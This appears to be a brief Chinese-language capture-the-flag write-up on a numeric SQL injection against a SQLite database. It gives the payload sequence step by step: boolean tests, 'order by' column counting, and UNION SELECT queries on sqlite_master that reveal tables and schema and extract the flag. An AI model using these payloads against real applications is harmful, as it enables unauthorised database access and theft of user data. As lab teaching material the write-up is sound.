
一、访问网站

二、判断是否存在注入,以及注入类型
输入1’,返回hacker,过滤了单引号

输入1 and 1=1#,页面返回正常
输入1 and 1=2#,页面返回500

1=2结果为假,说明执行了语句存在sql注入,且为数字型注入
三、判断字段数
输入1 order by 5#,页面返回正常
输入1 order by 6#,页面返回500
说明字段数为5
四、测试回显位
1 union select 1,2,3,4,5#

五、获取当前数据库名
输入database(),页面报错,说明database() 函数在 SQLite 中不存在,database()仅适用于 MySQL

六、获取表名
1 union select 1,2,3,4,group_concat(name) from sqlite_master#

获取到表名为flag、users
七、获取列名
1 union select 1,2,3,4,group_concat(sql) from sqlite_master#

返回内容如下,其中flag为flag表的列名
CREATE TABLE "flag" ( "flag" TEXT ),
CREATE TABLE "users" (
"id" INTEGER,
"username" TEXT,
"email" TEXT,
"phone" TEXT,
"address" TEXT
)
八、获取数据
1 union select 1,2,3,4,group_concat(flag) from flag #

总结
- sqlite注入